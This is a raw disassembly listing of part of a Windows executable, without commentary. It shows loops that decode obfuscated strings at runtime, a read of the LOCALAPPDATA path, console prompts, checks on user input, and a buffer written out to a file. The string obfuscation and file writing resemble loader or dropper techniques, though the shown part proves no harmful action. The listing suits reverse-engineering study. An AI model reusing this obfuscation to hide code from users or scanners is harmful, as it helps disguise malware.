pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009cb0
cmp r8d, 0x14
jge 0x140009e20
movsxd rax, r8d
lea r9, [rsp + 0x1b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140009df0
xorps xmm0, xmm0
movups xmmword [rsp + 0x278], xmm0
mov qword [rsp + 0x288], rbx
mov qword [rsp + 0x290], rbx
lea rax, [rsp + 0x1b0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140009e46
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x278]
call fcn.140010150
nop
mov qword [rsp + 0x170], rbx
lea r8, str.LOCALAPPDATA
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0x170]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x14000cc64
mov rdx, qword [rsp + 0x170]
test rdx, rdx
je 0x14000cc64
xorps xmm0, xmm0
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2d0], rbx
mov qword [rsp + 0x2d8], rbx
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x140009ec2
lea rcx, [rsp + 0x2c0]
call fcn.140010150
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x2d0]
sub rax, rcx
cmp rax, 1
jb 0x14000d197
lea r9, [rsp + 0x2c0]
cmp qword [rsp + 0x2d8], 0x10
cmovae r9, qword [rsp + 0x2c0]
mov qword [rsp + 0x30], 1
lea rax, [0x140088858]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x110]
call fcn.140010fe0
nop
lea rdx, [rsp + 0x278]
cmp qword [rsp + 0x290], 0x10
cmovae rdx, qword [rsp + 0x278]
mov r8, qword [rsp + 0x288]
lea rcx, [rsp + 0x110]
call fcn.14000ecd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x220], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x128]
cmp rdx, 0x10
jb 0x140009ff1
inc rdx
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009fec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009fec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x110], 0
lea rax, [rsp + 0x210]
cmp qword [rsp + 0x228], 0x10
cmovae rax, qword [rsp + 0x210]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x1b8], rax
call fcn.140075ce4
movaps xmm0, xmmword [rsp + 0x1b0]
movdqa xmmword [rsp + 0x1b0], xmm0
lea r8, [rsp + 0x1b0]
mov edx, eax
lea rcx, [rsp + 0xb0]
call fcn.140002d00
nop
lea rcx, [rsp + 0xb0]
call fcn.140003f80
movzx esi, al
mov rdx, qword [rsp + 0xc8]
cmp rdx, 8
jb 0x14000a0c8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a0c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a0c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], bx
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test sil, sil
je 0x14000aadf
movsd xmm0, qword [0x1400889d0]
movsd qword [rsp + 0x70], xmm0
movzx eax, byte [0x1400889d8]
mov byte [rsp + 0x70], 0xa
xor byte [rsp + 0x71], 0x36
xor byte [rsp + 0x72], 0x37
xor byte [rsp + 0x73], 0x38
xor byte [rsp + 0x74], 0x39
xor byte [rsp + 0x75], 0x3a
xor byte [rsp + 0x76], 0x3b
xor byte [rsp + 0x77], 0x3c
xor al, 0x3d
mov byte [rsp + 0x78], al
call fcn.14000f4c0
mov edx, ntohl
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x1400889e0]
movups xmmword [rsp + 0xb0], xmm0
movups xmm1, xmmword [0x1400889f0]
movups xmmword [rsp + 0xc0], xmm1
movsd xmm0, qword [0x140088a00]
movsd qword [rsp + 0xd0], xmm0
movzx eax, byte [0x140088a08]
mov byte [rsp + 0xd8], al
mov ecx, ebx
cmp r12d, 2
jl 0x14000a2f0
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0xb0]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x14000a1d0
cmp ecx, 0x29
jge 0x14000a32c
movsxd rax, ecx
lea r8, [rsp + 0xb0]
add r8, rax
nop
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x29
jl 0x14000a300
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x188], 0
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x1400889c0]
movsd qword [rsp + 0x88], xmm0
movzx eax, word [0x1400889c8]
mov word [rsp + 0x90], ax
mov byte [rsp + 0x88], 0xa
xor byte [rsp + 0x89], 0x36
xor byte [rsp + 0x8a], 0x37
xor byte [rsp + 0x8b], 0x38
xor byte [rsp + 0x8c], 0x39
xor byte [rsp + 0x8d], 0x3a
xor byte [rsp + 0x8e], 0x3b
xor byte [rsp + 0x8f], 0x3c
xor al, 0x3d
mov byte [rsp + 0x90], al
xor byte [rsp + 0x91], 0x3e
lea rdx, [rsp + 0x88]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
mov edx, ntohl
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.vXWJ_eSMJV__xcD]
movups xmmword [rsp + 0x1f0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14000a5c0
cmp r12d, 2
jl 0x14000a57d
mov edx, ebx
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x1f0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14000a460
jmp 0x14000a5c0
lea r9, [rsp + 0x1f0]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14000a590
lea rdx, [rsp + 0x1f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
lea rdx, [rsp + 0x188]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000f7f0
lea rcx, [rsp + 0x188]
cmp qword [rsp + 0x1a0], 0x10
setae r15b
mov byte [rsp + 0x80], r15b
mov rsi, qword [rsp + 0x188]
cmovae rcx, rsi
mov r14, qword [rsp + 0x198]
cmp r14, 3
jne 0x14000a636
mov r8, r14
lea rdx, [0x14008885c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000a6b6
lea rcx, [rsp + 0x188]
test r15b, r15b
cmovne rcx, rsi
cmp r14, 3
jne 0x14000a65e
mov r8, r14
lea rdx, [0x140088860]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000a6b6
lea rcx, [rsp + 0x188]
test r15b, r15b
cmovne rcx, rsi
cmp r14, 1
jne 0x14000a686
mov r8, r14
lea rdx, [0x140088864]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000a6b6
lea rcx, [rsp + 0x188]
test r15b, r15b
cmovne rcx, rsi
cmp r14, 1
jne 0x14000aa8f
mov r8, r14
lea rdx, [0x140088868]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000aa8f
lea rax, [rsp + 0x210]
cmp qword [rsp + 0x228], 0x10
cmovae rax, qword [rsp + 0x210]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x1b8], rax
call fcn.140075ce4
movaps xmm0, xmmword [rsp + 0x1b0]
movdqa xmmword [rsp + 0x1b0], xmm0
lea r8, [rsp + 0x1b0]
mov edx, eax
lea rcx, [rsp + 0xb0]
call fcn.140002d00
nop
lea rcx, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 8
cmovae rcx, qword [rsp + 0xb0]
call fcn.140076254
movzx ecx, al
mov qword [rsp + 0x1a8], rcx
shr rax, 0x20
mov dword [rsp + 0x2a0], eax
lea rcx, [0x14009e0b8]
mov qword [rsp + 0x2a8], rcx
movaps xmm0, xmmword [rsp + 0x2a0]
movdqa xmmword [rsp + 0x230], xmm0
cmp eax, 0x91
jne 0x14000a78f
lea r8, [rsp + 0x1a8]
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0xb0]
call fcn.140004090
cmp dword [rsp + 0x230], 0
jne 0x14000d19d
mov rdx, qword [rsp + 0xc8]
cmp rdx, 8
jb 0x14000a7e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a7e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a7e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], bx
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x1400889d0]
movzx eax, byte [0x1400889d8]
movsd qword [rsp + 0x58], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x58], 0xa
xor byte [rsp + 0x59], 0x36
xor byte [rsp + 0x5a], 0x37
xor byte [rsp + 0x5b], 0x38
xor byte [rsp + 0x5c], 0x39
xor byte [rsp + 0x5d], 0x3a
xor byte [rsp + 0x5e], 0x3b
xor byte [rsp + 0x5f], 0x3c
xor al, 0x3d
mov byte [rsp + 0x60], al
lea rdx, [rsp + 0x58]
call fcn.14000f4c0
mov edx, ntohl
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x1400889a0]
movups xmmword [rsp + 0x1b0], xmm0
mov eax, dword [0x1400889b0]
mov dword [rsp + 0x1c0], eax
movzx eax, word [0x1400889b4]
mov word [rsp + 0x1c4], ax
movzx eax, byte [0x1400889b6]
mov byte [rsp + 0x1c6], al
mov ecx, ebx
cmp r12d, 2
jl 0x14000aa00
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x1b0]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14000a8e0
cmp ecx, 0x17
jge 0x14000aa3c
movsxd rax, ecx
lea r8, [rsp + 0x1b0]
add r8, rax
nop
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x17
jl 0x14000aa10
lea rdx, [rsp + 0x1b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
lea rdx, [0x14000f700]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x14000aa8f
mov r14, 0xffffffffffffffff
test r15b, r15b
je 0x14000ad1b
mov rdx, qword [rsp + 0x1a0]
inc rdx
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000aad2
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000aad2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140074e60
jmp 0x14000ad1b
movsd xmm0, qword [0x1400889d0]
movsd qword [rsp + 0x70], xmm0
movzx eax, byte [0x1400889d8]
mov byte [rsp + 0x70], 0xa
xor byte [rsp + 0x71], 0x36
xor byte [rsp + 0x72], 0x37
xor byte [rsp + 0x73], 0x38
xor byte [rsp + 0x74], 0x39
xor byte [rsp + 0x75], 0x3a
xor byte [rsp + 0x76], 0x3b
xor byte [rsp + 0x77], 0x3c
xor al, 0x3d
mov byte [rsp + 0x78], al
call fcn.14000f4c0
mov edx, ntohl
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.tZE_XB]
movups xmmword [rsp + 0x1b0], xmm0
movzx eax, word [0x140088b98]
mov word [rsp + 0x1c0], ax
cmp byte [0x140088b99], 0
je 0x14000acec
mov ecx, ebx
cmp r12d, 2
jl 0x14000acb0
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x1b0]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14000ab90
cmp ecx, 0x12
jge 0x14000acec
movsxd rax, ecx
lea r8, [rsp + 0x1b0]
add r8, rax
nop
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x12
jl 0x14000acc0
lea rdx, [rsp + 0x1b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
lea rdx, [0x14000f700]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x260], xmm0
mov qword [rsp + 0x270], rax
mov eax, dword [0x140088d68]
mov dword [rsp + 0x50], eax
movzx ecx, word [0x140088d6c]
mov word [rsp + 0x54], cx
movzx eax, byte [0x140088d6e]
mov byte [rsp + 0x50], 0x34
xor byte [rsp + 0x51], 0x36
xor byte [rsp + 0x52], 0x37
xor byte [rsp + 0x53], 0x38
xor cl, 0x39
mov byte [rsp + 0x54], cl
xor byte [rsp + 0x55], 0x3a
xor al, 0x3b
mov byte [rsp + 0x56], al
movups xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a0], rbx
lea rax, [rsp + 0x50]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14000ada1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x188]
call fcn.140010150
lea r8, [rsp + 0x188]
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x600]
call fcn.14001b080
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x4f0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140088970]
movups xmmword [rsp + 0xb0], xmm0
movsd xmm0, qword [0x140088980]
movsd qword [rsp + 0xc0], xmm0
movzx eax, word [0x140088988]
mov word [rsp + 0xc8], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rsp + 0xca], al
mov r8d, ebx
cmp r12d, 2
jl 0x14000af85
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000ae60
cmp r8d, 0x1b
jge 0x14000afd0
movsxd rax, r8d
lea r9, [rsp + 0xb0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x14000afa0
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x4f0]
call fcn.14000d5a0
nop
mov r8, qword [rsp + 0x268]
mov rdx, qword [rsp + 0x260]
sub r8, rdx
lea rcx, [rsp + 0x4f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x4f8]
call fcn.14000eac0
test rax, rax
jne 0x14000b03d
mov rax, qword [rsp + 0x4f0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x4f0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movups xmm0, xmmword [0x140088900]
